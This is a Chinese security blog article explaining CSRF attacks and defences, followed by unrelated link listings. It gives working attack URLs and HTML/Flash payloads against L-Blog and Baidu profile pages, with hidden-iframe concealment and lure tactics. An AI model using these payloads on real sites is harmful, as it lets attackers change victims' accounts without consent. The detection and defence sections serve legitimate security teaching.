CSRF——攻击与防御

author: lake2

0x01 什么是CSRF攻击

CSRF是Cross Site Request Forgery的缩写(也缩写为XSRF),直译过来就是跨站请求伪造的意思,也就是在用户会话下对某个CGI做一些GET/POST的事情——这些事情用户未必知道和愿意做,你能够把它想做HTTP会话劫持。
    站点是通过cookie来识别用户的,当用户成功进行身份验证之后浏览器就会得到一个标识其身份的cookie,仅仅要不关闭浏览器或者退出登录,以后訪问这个站点会带上这个cookie。假设这期间浏览器被人控制着请求了这个站点的url,可能就会运行一些用户不想做的功能(比方改动个人资料)。由于这个不是用户真正想发出的请求,这就是所谓的请求伪造;呵呵,由于这些请求也是能够从第三方站点提交的,所曾经缀跨站二字。
    举个简单的样例,某个bbs能够贴图,在贴图的URL中写入退出登陆的链接,当用户阅读这个帖子之后就会logout了,由于用户以自己的身份訪问了退出登陆链接,在用户看来是帖子里面有一张有问题的“图片”,而不是想要退出,但程序就会觉得是用户要求退出登陆而销毁其会话。这就是传说中的CSRF攻击了。
    不要小看CSRF哦,记得曾经L-Blog就存在一个CSRF漏洞(当时还不知道这个概念:p),它加入�管理员是这种一个链接:http://localhost/L-Blog/admincp.asp?action=member&type=editmem&memID=2&memType=SupAdmin,我们仅仅要构造好ID想办法让管理员訪问到这个URL就能够了;还有Google那个CSRF漏洞[1],将导致邮件泄漏;另外,不要以为仅仅有XSS才干爆发蠕虫,仅仅要条件合适,CSRF相同是有可能的。

0x02 威胁来自哪里

贴图仅仅是GET的方式,非常多时候我们须要伪造POST的请求。一个办法是利用跨站,当然目标站点可能不存在跨站,这个时候我们能够从第三方站点发动攻击。
    比方我要攻击一个存在问题的blog,那就先去目标blog留言,留下一个网址,诱其主人点击过来(这个就要看你的忽悠本事咯:p),然后构造个HTML表单提交些数据过去。
    多窗体浏览器就帮了一点忙。
    多窗体浏览器(firefox、遨游、MyIE……)便捷的同一时候也带来了一些问题,由于多窗体浏览器新开的窗体是具有当前全部会话的。即我用IE登陆了我的Blog,然后我想看新闻了,又执行一个IE进程,这个时候两个IE窗体的会话是彼此独立的,从看新闻的IE发送请求到Blog不会有我登录的cookie;可是多窗体浏览器永远都仅仅有一个进程,各窗体的会话是通用的,即看新闻的窗体发请求到Blog是会带上我在blog登录的cookie。
    想一想,当我们用鼠标在Blog/BBS/WebMail点击别人留下的链接的时候,说不定一场精心准备的CSRF攻击正等着我们。

0x03 发起CSRF攻击

从第三方网站利用POST发动CSRF攻击就是利用Javascript自己主动提交表单到目标CGI。每次都去写表单不是非常方便,辅助进行的工具有XSS POST Forwarder[2]和CSRF Redirector[3],这里我也写了对应的ASP版本号[4]。使用的时候仅仅要把提交的url和參数传给它,它就会自己主动POST到目标。
    比方我要提交一些数据到www.0x54.org/a.asp:http://www.0x54.org/lake2/xss_post_forwarder.asp?lake2=http://www.0x54.org/a.asp&a=123&b=321&c=%26%23%25(这里要自己考虑URL编码哦)
    只是实际攻击的时候你得动动脑子:怎样才干把用户诱骗到我们的网页来。

0x04 一个实例

由于CSRF不如XSS那么引人注目,所以如今找一个存在CSRF的Web应用程序还是非常easy的。这次我们的目标是百度,just for test。
    随便你用什么办法,让一个已登陆百度的用户訪问一下这个URL:http://www.0x54.org/lake2/xss_post_forwarder.asp?lake2=http://passport.baidu.com/ucommitbas&u_jump_url=&sex=1&email=CSRF@baidu.com&sdv=&zodiac=0&birth_year=0&birth_month=0&birth_day=0&blood=0&bs0=%C7%EB%D1%A1%D4%F1&bs1=%C7%EB%D1%A1%D4%F1&bs2=%CE%DE&txt_bs=&birth_site=%3B%3B&b%3Drs0=%C7%EB%D1%A1%D4%F1&rs1=%C7%EB%D1%A1%D4%F1&rs2=%CE%DE&txt_rs=&reside_site=%3B%3B
    呵呵,然后看看那人个人资料是不是被改动了。这里有点郁闷,当那人訪问URL后浏览器会返回到资料改动成功的页面,我们就被发现了。那么,有没有办法不让浏览器刷新呢?
    有。
    一个办法是用iframe,构造这种HTML代码:<iframe width=0 height=0 src="http://www.0x54.org/lake2/xss_post_forwarder.asp?lake2=http://passport.baidu.com/ucommitbas&u_jump_url=&sex=1&email=CSRF@baidu.com&sdv=&zodiac=0&birth_year=0&birth_month=0&birth_day=0&blood=0&bs0=%C7%EB%D1%A1%D4%F1&bs1=%C7%EB%D1%A1%D4%F1&bs2=%CE%DE&txt_bs=&birth_site=%3B%3B&b%3Drs0=%C7%EB%D1%A1%D4%F1&rs1=%C7%EB%D1%A1%D4%F1&rs2=%CE%DE&txt_rs=&reside_site=%3B%3B"></iframe>
    另一个办法就是用flash了。

0x05 CSRF With Flash

flash是能够提交数据到随意URL的,打开盗版的 Adobe flash CS 3 Professional,新建一个 flash文件(ActionScript 3.0) ,在默认的图层上点右键选动作,然后把下面代码加入�进去:

import flash.net.URLRequest;
       import flash.system.Security;
       var url = new URLRequest("http://www.0x54.org/lake2");
       var lake = new URLVariables();
       lake = "a=lake2";
       url.method = "POST";
       url.data = lake;
       sendToURL(url);
       stop();

导出为swf文件,訪问之,抓包看看效果咯:http://www.0x54.org/lake2/flash/test1.html
    每次都去写as和编译swf非常麻烦的,依据CSRF Redirector的思路我写了一个相似的flash程序[5],再拿百度来试试效果,訪问带例如以下HTML的网页:<EMBED src="http://www.0x54.org/lake2/flash/flash_hacking.swf?f=1&t=http://passport.baidu.com/ucommitbas&d=u_jump_url%3D%26sex%3D1%26email%3DCSRF@baidu.com%26sdv%3D%26zodiac%3D0%26birth_year%3D0%26birth_month%3D0%26birth_day%3D0%26blood%3D0%26bs0%3D%25C7%25EB%25D1%25A1%25D4%25F1%26bs1%3D%25C7%25EB%25D1%25A1%25D4%25F1%26bs2%3D%25CE%25DE%26txt_bs%3D%26birth_site%3D%253B%253B%26b%253Drs0%3D%25C7%25EB%25D1%25A1%25D4%25F1%26rs1%3D%25C7%25EB%25D1%25A1%25D4%25F1%26rs2%3D%25CE%25DE%26txt_rs%3D%26reside_site%3D%253B%253B"></EMBED>(还是要注意URL二次编码)
    这里不要仅仅局限于发请求,事实上flash是能够得到返回内容的,要是返回内容有敏感信息的话,就能够读出来发送到我们控制的Web去。当然,这个得看目标网站是否让flash跨域取内容了。

0x06 检測CSRF

检測CSRF漏洞都是体力活了,先抓取一个正常请求的数据包,然后去掉referer字段再又一次提交,假设还是有效那基本上就存在问题了。当然參数可能含有不能预測的參数(比方userid什么的),这个时候就看这个不可预測的參数能不能通过其它手段比方flash拿到,假设能,呵呵,则还是存在问题。还有就是试着改post为get,由于有些程序是不区分get/post的。
    应用程序的功能和返回形式都各不同样,所以想自己主动化測试CSRF漏洞还是有点困难的,OWASP上面有一个叫做CSRFTester的工具最好还是拿来一试[6]

0x07 防御CSRF

在Web应用程序側防御CSRF漏洞,一般都是利用referer、token或者验证码,Nexus的文章[7]已经写的非常全面了;superhei也有提出bypass的思路[8],请參考他们的文章。
    另一个思路是在client防御,貌似能够做成一个相似HTTP Watch的软件,挂在浏览器上拦截或者过滤跨域的cookie。

0x08 总结

希望本文对您有帮助,同一时候也欢迎各位同我交流:lake2@mail.csdn.net

[ Reference ]

[1] Google GMail E-mail Hijack Technique, http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/
[2] XSS POST Forwarder, http://whiteacid.org/misc/xss_post_forwarder.php
[3] CSRF Redirector, http://shiflett.org/blog/2007/jul/csrf-redirector
[4] ASP的XSS POST Forwarder下载(附送一个HTML版), http://www.0x54.org/lake2/xss_post_forwarder.zip
[5] 源码和编译好的swf文件下载:http://www.0x54.org/lake2/flash/flash_hacking.rar
[6] CSRFTester, http://www.owasp.org/index.php/Category:OWASP_CSRFTester_Project
[7] Preventing CSRF, http://www.playhack.net/view.php?id=31. 汉化版, http://www.hanguofeng.cn/archives/security/preventing-csrf
[8] Bypass Preventing CSRF, http://www.xfocus.net/articles/200801/964.html

CSRF——攻击与防御的更多相关文章

  1. csrf 攻击和防御

    CSRF概念:CSRF跨站点请求伪造(Cross—Site Request Forgery),跟XSS攻击一样,存在巨大的危害性,你可以这样来理解:       攻击者盗用了你的身份,以你的名义发送恶 ...

  2. CSRF攻击与防御(写得非常好)

    转自:http://blog.csdn.net/stpeace/article/details/53512283 CSRF概念:CSRF跨站点请求伪造(Cross—Site Request Forge ...

  3. Web安全之CSRF攻击的防御措施

    Web安全之CSRF攻击的防御措施   CSRF是什么? Cross Site Request Forgery,中文是:跨站点请求伪造. CSRF攻击者在用户已经登录目标网站之后,诱使用户访问一个攻击 ...

  4. 转!!CSRF攻击与防御(写得非常好)

    CSRF概念:CSRF跨站点请求伪造(Cross—Site Request Forgery),跟XSS攻击一样,存在巨大的危害性,你可以这样来理解:       攻击者盗用了你的身份,以你的名义发送恶 ...

  5. csrf 攻击及防御

    1.什么是CSRF攻击: CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:C ...

  6. CSRF攻击与防御(转)

    CSRF概念:CSRF跨站点请求伪造(Cross—Site Request Forgery),跟XSS攻击一样,存在巨大的危害性,你可以这样来理解:        攻击者盗用了你的身份,以你的名义发送 ...

  7. CSRF攻击与防御

    CSRF是什么 CSRF在百度百科中是这么说的:“CSRF(Cross-site request forgery跨站请求伪造,也被称为“one click attack”或者session ridin ...

  8. 转-CSRF——攻击与防御

    0x01 什么是CSRF攻击 CSRF是Cross Site Request Forgery的缩写(也缩写为XSRF),直译过来就是跨站请求伪造的意思,也就是在用户会话下对某个CGI做一些GET/PO ...

  9. 信安实践——CSRF攻击与防御

    1.实验原理 CSRF(Cross-Site Request Forgery,跨站点伪造请求)是一种网络攻击方式,该攻击可以在受害者毫不知情的情况下以受害者名义伪造请求发送给受攻击站点,从而在未授权的 ...

随机推荐

  1. 第五篇、 WebSphere8.5的安装

    一.前言 WebSphere Application  Server 是IBM企业级应用服务器,与WAS6,WAS7相比较而言 WAS8发生了很大的改变,其安装介质和以前截然不同,该篇章中对于不同的安 ...

  2. Linux ./configure && make && make install 编译安装和卸载

    正常的编译安装/卸载: 源码的安装一般由3个步骤组成:配置(configure).编译(make).安装(make install).   configure文件是一个可执行的脚本文件,它有很多选项, ...

  3. ecshop数据库操作类

    ECShop v2.7.2没有使用一些开源的数据库操作类,比如adodb或者PEAR,而是封装了自己的实现. 好处:实现非常轻量,只有一个文件,27Kb,大大减小了分发包的文件大小. 当网站需要做me ...

  4. MySql数据库3【优化2】sql语句的优化

    1.SELECT语句优化 1).利用LIMIT 1取得唯一行[控制结果集的行数] 有时,当你要查询一张表是,你知道自己只需要看一行.你可能会去的一条十分独特的记录,或者只是刚好检查了任何存在的记录数, ...

  5. php生成缩略图

    <?php /** * 生成缩略图函数(支持图片格式:gif.jpeg.png和bmp) * @author ruxing.li * @param string $src 源图片路径 * @pa ...

  6. 【技术贴】第二篇 :解决使用maven jetty启动后无法加载修改过后的静态资源

    之前写过第一篇:[技术贴]解决使用maven jetty启动后无法加载修改过后的静态资源 一直用着挺舒服的,直到今天,出现了又不能修改静态js,jsp等资源的现象.很是苦闷. 经过调错处理之后,发现是 ...

  7. 【Java】对服务器程序的理解

    Login:------------->方法 Data:----->类.API数据 Collection:-------->集合 Data Source File: Database ...

  8. 图片的css自适应

    当需要css来缩放图片的时候,可以采用外层容器100%或者任意百分比, 内层图片img tag 没有宽高,用sass写经过断点后的mixin中的样式就是这样: .workscon_section{ w ...

  9. IAR FOR ARM 各版本,需要的大家可以收藏了

    原创,原帖地址是在阿莫论坛:http://www.amobbs.com/thread-5400051-1-1.html,这里也在博客贴上来供大家参考. 用过Keil和IAR,个人感觉是IAR还是很不错 ...

  10. android之apk自动更新解析包失败问题

    在apk自动更新(相关问题可以看我的博客http://blog.csdn.net/caicongyang) 从服务器下载完成后,点击notification提示安装时,每次都报解析包失败错误!首先我想 ...